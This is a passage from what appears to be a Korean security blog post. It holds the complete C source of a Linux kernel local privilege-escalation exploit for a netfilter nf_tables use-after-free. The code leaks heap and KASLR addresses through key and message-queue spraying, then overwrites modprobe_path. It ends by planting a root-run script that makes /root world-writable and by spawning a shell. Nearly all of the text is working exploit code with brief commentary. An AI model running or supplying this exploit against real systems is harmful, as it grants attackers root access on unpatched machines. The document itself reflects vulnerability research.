    fake_obj_keys = spray_fake_obj_keys(modprobe_path-0x8+3, modprobe_name, 0, KEY_SPRAY_COUNT);
    fake_obj_keys = spray_fake_obj_keys(modprobe_path-0x8+3, modprobe_name, 0, KEY_SPRAY_COUNT);

    just_read_mq(mq3);

 

 

전체 코드는 하단의 [접은 글]확인 -> 진짜 너무 길다....

더보기
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <sched.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <fcntl.h>
#include <err.h>
#include <libmnl/libmnl.h>
#include <libnftnl/chain.h>
#include <libnftnl/expr.h>
#include <libnftnl/rule.h>
#include <libnftnl/table.h>
#include <libnftnl/set.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter/nfnetlink.h>
#include <sched.h>
#include <sys/types.h>
#include <signal.h>
#include <net/if.h>
#include <asm/types.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <sys/socket.h>
#include <linux/ethtool.h>
#include <linux/sockios.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/keyctl.h>
#include <mqueue.h>
#include <time.h>
#include <sys/msg.h>
#include <sys/ipc.h>

// gcc poc.c -o poc -l mnl -l nftnl
// gcc poc.c -o poc -static -L/usr/local/lib/ -l nftnl -l mnl

void hexdump(const void* data, size_t size) {
    unsigned char *p = (unsigned char*)data;
    for (size_t i = 0; i < size; i++) {
        printf("%02X ", p[i]);
        if ((i + 1) % 16 == 0 || i == size - 1) {
            printf("\n");
        }
    }
}

void write_to_file(const char *which, const char *format, ...) {
    FILE * fu = fopen(which, "w");
    va_list args;
    va_start(args, format);
    if (vfprintf(fu, format, args) < 0) {
        perror("cannot write");
        exit(1);
    }
    fclose(fu);
}

void init_cpu(void){
    cpu_set_t set;
    CPU_ZERO(&set);
    CPU_SET(0, &set);
    if (sched_setaffinity(getpid(), sizeof(set), &set) < 0) {
        perror("[-] sched_setaffinity");
        exit(EXIT_FAILURE);    
    }
}

void init_namespace(void) {
    uid_t uid = getuid();
    gid_t gid = getgid();    

    if (unshare(CLONE_NEWUSER) < 0) {
        perror("[-] unshare(CLONE_NEWUSER)");
        exit(EXIT_FAILURE);    
    }
    if (unshare(CLONE_NEWNET) < 0) {
        perror("[-] unshare(CLONE_NEWNET)");
        exit(EXIT_FAILURE);    
    }

    write_to_file("/proc/self/uid_map", "0 %d 1", uid);
    write_to_file("/proc/self/setgroups", "deny");
    write_to_file("/proc/self/gid_map", "0 %d 1", gid);
}

void netfilter_new_table(struct mnl_socket *nl, const char *table_name){

    uint8_t family = NFPROTO_IPV4;

    struct nftnl_table * table = nftnl_table_alloc();
    nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name);
    nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0);

    char buf[MNL_SOCKET_BUFFER_SIZE*2];

    struct mnl_nlmsg_batch * batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
    int seq = 0;

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);


    struct nlmsghdr *nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, 0, seq++);
    nftnl_table_nlmsg_build_payload(nlh, table);
    mnl_nlmsg_batch_next(batch);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "mnl_socket_send");
    }

    printf("[+] create new table : %s\n", table_name);
}

uint32_t set_id = 1;
void netfilter_new_stable_set(struct mnl_socket *nl, const char *table_name, const char *set_name){

    uint8_t family = NFPROTO_IPV4;

    struct nftnl_set *set =  nftnl_set_alloc();
    nftnl_set_set_str(set, NFTNL_SET_TABLE, table_name);
    nftnl_set_set_str(set, NFTNL_SET_NAME, set_name);
    nftnl_set_set_u32(set, NFTNL_SET_KEY_LEN, 1);
    nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);
    nftnl_set_set_u32(set, NFTNL_SET_ID, set_id++);

    char buf[MNL_SOCKET_BUFFER_SIZE*2];

    struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
    int seq = 0;

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);


    struct nlmsghdr *nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
                                    NFT_MSG_NEWSET, family,
                                    NLM_F_CREATE|NLM_F_ACK, seq++);
    nftnl_set_nlmsg_build_payload(nlh, set);
    nftnl_set_free(set);
    mnl_nlmsg_batch_next(batch);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "mnl_socket_send");
    }

    printf("[+] create new set (stable) : %s -> %s\n", table_name, set_name);
}

void netfilter_new_uaf_set(struct mnl_socket *nl, const char *table_name, const char *set_name, const char *target_set_name){

    uint8_t family = NFPROTO_IPV4;

    struct nftnl_set *set_trigger =  nftnl_set_alloc();
    nftnl_set_set_str(set_trigger, NFTNL_SET_TABLE, table_name);
    nftnl_set_set_str(set_trigger, NFTNL_SET_NAME, set_name);
    nftnl_set_set_u32(set_trigger, NFTNL_SET_FLAGS, NFT_SET_EXPR);
    nftnl_set_set_u32(set_trigger, NFTNL_SET_KEY_LEN, 1);
    nftnl_set_set_u32(set_trigger, NFTNL_SET_FAMILY, family);
    nftnl_set_set_u32(set_trigger, NFTNL_SET_ID, set_id);
    struct nftnl_expr *exprs = nftnl_expr_alloc("lookup");
    nftnl_expr_set_str(exprs, NFTNL_EXPR_LOOKUP_SET, target_set_name);
    nftnl_expr_set_u32(exprs, NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);
    // nest the expression into the set
    nftnl_set_add_expr(set_trigger, exprs);
    

    char buf[MNL_SOCKET_BUFFER_SIZE*2];

    struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
    int seq = 0;

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);


    struct nlmsghdr *nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
                                    NFT_MSG_NEWSET, family,
                                    NLM_F_CREATE|NLM_F_ACK, seq++);
    nftnl_set_nlmsg_build_payload(nlh, set_trigger);
    nftnl_set_free(set_trigger);
    mnl_nlmsg_batch_next(batch);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "mnl_socket_send");
    }

    printf("[+] create new set (UAF) : %s -> %s\n", table_name, set_name);
}

typedef int32_t key_serial_t;

static inline key_serial_t sys_add_key(const char *type, const char *desc, const void *payload, size_t plen, int ringid)
{
    return syscall(__NR_add_key, type, desc, payload, plen, ringid);
}

static inline key_serial_t sys_keyctl(int cmd, ...)
{
    va_list ap;
    long arg2, arg3, arg4, arg5;

    va_start(ap, cmd);
    arg2 = va_arg(ap, long);
    arg3 = va_arg(ap, long);
    arg4 = va_arg(ap, long);
    arg5 = va_arg(ap, long);
    va_end(ap);

    return syscall(__NR_keyctl, cmd, arg2, arg3, arg4, arg5);
}

void revoke_key(key_serial_t key)
{
    if (sys_keyctl(KEYCTL_REVOKE, key) == -1) {
        err(1, "[-] failed key revoke");
    }

    //printf("[+] release key : %d\n", (int)key);
}

void unlink_key(key_serial_t key)
{
    if (sys_keyctl(KEYCTL_UNLINK, key, KEY_SPEC_USER_KEYRING) == -1) {
        err(1, "[-] failed key unlink");
    }

    //printf("[+] release key : %d\n", (int)key);
}

#define KEY_PAYLOAD_SIZE 40
#define KEY_SPRAY_COUNT 90

//uint32_t key_count = 0;
key_serial_t* spray_user_key_payload(int start, int end){
    
    key_serial_t *keys = calloc(end-start, sizeof(key_serial_t));
    char payload[KEY_PAYLOAD_SIZE] = {0, };

    for(int i=start; i<end; i++){
        snprintf(payload, KEY_PAYLOAD_SIZE, "payload-%d", i);
        keys[i] = sys_add_key("user", payload, payload, KEY_PAYLOAD_SIZE, KEY_SPEC_USER_KEYRING);
        if (keys[i] == -1)
            err(1, "[-] failed key spraying");
    }
    
    printf("[+] sprayed user_key_payload\n");
    return keys;
}

int leak_heap_addr_and_get_uaf_keyid(key_serial_t *keys, uint64_t *kheap){

    int ret = 0;
    char buffer[KEY_PAYLOAD_SIZE] = {0, };

    for(int i=0; i<KEY_SPRAY_COUNT; i++){
        ret = sys_keyctl(KEYCTL_READ, keys[i], buffer, sizeof(buffer));
        if (ret == -1)
            err(1, "[-] failed key read");

        //printf("[*] kheap = 0x%lx\n", *((uint64_t*)buffer));
        if((uint8_t)buffer[7] == 0xff){
            *kheap = *((uint64_t*)buffer);
            return i;
        }
    }

    err(1, "[-] failed leak kernel heap address");
}

void revoke_all_sprayed_keys(key_serial_t *keys, int start, int end){
    int c = 0;
    for(int i=start; i<end; i++){
        if(keys[c]!=0)
            revoke_key(keys[c]);
        c++;
    }
    printf("[+] revoked all sprayed keys\n");
}

void unlink_all_sprayed_keys(key_serial_t *keys, int start, int end){
    int c = 0;
    for(int i=start; i<end; i++){
        if(keys[c]!=0)
            unlink_key(keys[c]);
        c++;
    }
    printf("[+] unlinked all sprayed keys\n");
}

key_serial_t *spray_fake_obj_keys(uint64_t addr1, uint64_t addr2, int start, int end){
    
    key_serial_t *keys = calloc(end-start, sizeof(key_serial_t));
    char payload[KEY_PAYLOAD_SIZE] = {0, };
    char desc[KEY_PAYLOAD_SIZE] = {0, };
    uint64_t m_ts = 0x28;

    memcpy(payload,(char*)(&addr1),0x8); // m_list.next
    memcpy(payload+0x8,(char*)(&addr2),0x8); // m_list.prev
    memcpy(payload+0x10,"AAAAAAAA",0x8); // m_type
    memcpy(payload+0x18,(char*)(&m_ts),0x8); // m_ts

    int c = 0;
    for(int i=start; i<end; i++){
        snprintf(desc, KEY_PAYLOAD_SIZE, "payload-%d-fake", i);
        keys[c] = sys_add_key("user", desc, payload, KEY_PAYLOAD_SIZE-1, KEY_SPEC_USER_KEYRING);
        if (keys[c] == -1)
            err(1, "[-] failed key spraying");
        c++;
    }
    
    printf("[+] sprayed fake obj user_key_payload\n");
    return keys;
}


#define MQ_MAX_COUNT 10
#define MQ_COUNT 1
#define MQ_SIZE 24

mqd_t sys_mq_open(char *queue_name){
    
    struct mq_attr attr;
    attr.mq_flags = 0;
    attr.mq_maxmsg = MQ_MAX_COUNT;
    attr.mq_msgsize = MQ_SIZE;
    attr.mq_curmsgs = 0;

    // 메시지 큐 열기
    mqd_t mq = mq_open(queue_name, O_CREAT | O_RDWR, 0644, &attr);
    if (mq == (mqd_t)-1) {
        err(1, "[-] failed mq_open");
    }

    printf("[+] mq_open : %s\n", queue_name);
    return mq;
}

void create_fake_obj_posix_msg_tree_node(mqd_t mq){

    struct timespec ts;
    char buffer[MQ_SIZE] = {0, };

    if (clock_gettime(CLOCK_REALTIME, &ts) == -1) {
        perror("clock_gettime");
        exit(1);
    }

    memcpy(buffer, "test", 4);

    if (mq_timedsend(mq, buffer, MQ_SIZE, 0, &ts) == -1){
        err(1, "[-] failed mq_timedsend");
    }

    printf("[+] nft_expr(+nft_lookup) <-> posix_msg_tree_node\n");
}

uint64_t leak_kaslr_base_by_read_mq(mqd_t mq){
    struct timespec ts;
    char buffer[1024] = {0, };

    if (clock_gettime(CLOCK_REALTIME, &ts) == -1) {
        perror("clock_gettime");
        exit(1);
    }

    ssize_t bytes_read = mq_timedreceive(mq, buffer, MQ_SIZE, NULL, &ts);
    if (bytes_read == -1)
        err(1, "[-] failed mq_timedreceive");

    hexdump(buffer,0x20);
    if((uint8_t)buffer[7] == 0xff){
        return *((uint64_t*)buffer);
    } else {
        err(1, "[-] failed leak kaslr");
    }
}

void just_read_mq(mqd_t mq){
    struct timespec ts;
    char buffer[1024] = {0, };

    if (clock_gettime(CLOCK_REALTIME, &ts) == -1) {
        perror("clock_gettime");
        exit(1);
    }

    ssize_t bytes_read = mq_timedreceive(mq, buffer, MQ_SIZE, NULL, &ts);
    if (bytes_read == -1)
        err(1, "[-] failed mq_timedreceive");

    printf("[+] trigger mq_timedreceive\n");

}


int main(int argc, char *argv[])
{
    printf("[+] exploit process starting\n");

    init_cpu();
    init_namespace();

    printf("\n\n============================== [ 0. Preapare Exploiting ] ==============================\n");

    struct mnl_socket *nl = mnl_socket_open(NETLINK_NETFILTER);
    if (nl == NULL) {
        err(1, "[-] mnl_socket_open");
    } else {
        printf("[+] mnl_socket_open\n");
    }

    mqd_t mq1 = sys_mq_open("/queue-leak");
    mqd_t mq2 = sys_mq_open("/queue-overwrite");
    mqd_t mq3 = sys_mq_open("/queue-overwrite3");


    printf("\n\n============================== [ 1. Leaking Kernel Heap Address ] ==============================\n");

    netfilter_new_table(nl, "table1");
    netfilter_new_stable_set(nl, "table1", "set_stable1");
    netfilter_new_uaf_set(nl, "table1", "uaf_set1", "set_stable1");

    key_serial_t *spray_keys = spray_user_key_payload(0, KEY_SPRAY_COUNT);

    netfilter_new_uaf_set(nl, "table1", "uaf_set1", "set_stable1");

    uint64_t kheap = 0;
    int keyid = leak_heap_addr_and_get_uaf_keyid(spray_keys, &kheap);
    printf("[*] kheap = 0x%lx (keyid = %d)\n", kheap, keyid);

    revoke_all_sprayed_keys(spray_keys, 0, KEY_SPRAY_COUNT);
    unlink_all_sprayed_keys(spray_keys, 0, KEY_SPRAY_COUNT);


    printf("\n\n============================== [ 2. Leaking KASLR Base Address ] ==============================\n");

    netfilter_new_table(nl, "table2");
    netfilter_new_stable_set(nl, "table2", "set_stable2");
    netfilter_new_uaf_set(nl, "table2", "uaf_set2", "set_stable2");

    create_fake_obj_posix_msg_tree_node(mq1);

    key_serial_t *spray_keys2 = spray_user_key_payload(0, KEY_SPRAY_COUNT);

    netfilter_new_uaf_set(nl, "table2", "uaf_set2", "set_stable2");
    key_serial_t *fake_obj_keys = spray_fake_obj_keys(kheap, kheap, 0, KEY_SPRAY_COUNT);
    fake_obj_keys = spray_fake_obj_keys(kheap, kheap, 0, KEY_SPRAY_COUNT);

    revoke_all_sprayed_keys(spray_keys2, 0, KEY_SPRAY_COUNT);
    uint64_t kernel_base = leak_kaslr_base_by_read_mq(mq1) - 0x373330;
    printf("[*] Kernel Base = 0x%lx\n", kernel_base);

    revoke_all_sprayed_keys(fake_obj_keys, 0, KEY_SPRAY_COUNT);
    unlink_all_sprayed_keys(spray_keys2, 0, KEY_SPRAY_COUNT);
    unlink_all_sprayed_keys(fake_obj_keys, 0, KEY_SPRAY_COUNT);


    printf("\n\n============================== [ 3. Overwriting modporbe_path ] ==============================\n");

    uint64_t modprobe_path = kernel_base + 0x144dac0;
    printf("[*] modprobe_path = 0x%lx\n", modprobe_path);

    netfilter_new_table(nl, "table3");
    netfilter_new_stable_set(nl, "table3", "set_stable3");
    netfilter_new_uaf_set(nl, "table3", "uaf_set3", "set_stable3");

    create_fake_obj_posix_msg_tree_node(mq2);

    netfilter_new_uaf_set(nl, "table3", "uaf_set3", "set_stable3");
    uint64_t modprobe_name = (modprobe_path & 0xffffffffffff0000) + 0x6d74;
    fake_obj_keys = spray_fake_obj_keys(modprobe_path-0x8+1, modprobe_name, 0, KEY_SPRAY_COUNT);
    fake_obj_keys = spray_fake_obj_keys(modprobe_path-0x8+1, modprobe_name, 0, KEY_SPRAY_COUNT);

    just_read_mq(mq2);

    revoke_all_sprayed_keys(fake_obj_keys, 0, KEY_SPRAY_COUNT);
    unlink_all_sprayed_keys(fake_obj_keys, 0, KEY_SPRAY_COUNT);

    netfilter_new_table(nl, "table4");
    netfilter_new_stable_set(nl, "table4", "set_stable4");
    netfilter_new_uaf_set(nl, "table4", "uaf_set4", "set_stable4");

    create_fake_obj_posix_msg_tree_node(mq3);

    netfilter_new_uaf_set(nl, "table4", "uaf_set4", "set_stable4");
    modprobe_name = (modprobe_path & 0xffffffffffff0000) + 0x2f70;
    fake_obj_keys = spray_fake_obj_keys(modprobe_path-0x8+3, modprobe_name, 0, KEY_SPRAY_COUNT);
    fake_obj_keys = spray_fake_obj_keys(modprobe_path-0x8+3, modprobe_name, 0, KEY_SPRAY_COUNT);

    just_read_mq(mq3);

    printf("\n\n============================== [ 4. Finish ] ==============================\n");

    if(fork()){
        char modprobe_content[] = "#!/bin/sh\nchmod -R 777 /root";
        char filename[] = "/tmpX/modprobe";
        memcpy(filename+3, &modprobe_name, 0x8);
        int fd = open(filename, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO);
        write(fd, modprobe_content, sizeof(modprobe_content));
        close(fd);

        fd = open("/tmp/pwn", O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO);
        write(fd, "\xff\xff\xff\xff", 4);
        close(fd);

        system("/tmp/pwn");
        system("/bin/sh");
    }

    getchar(); //pause
}

 

 

이제 Kernel은 CVE-2024-????? 하나를 더 분석하고 잠시 내려둘 것 같다.

잠시 휴식 기간을...

728x90
반응형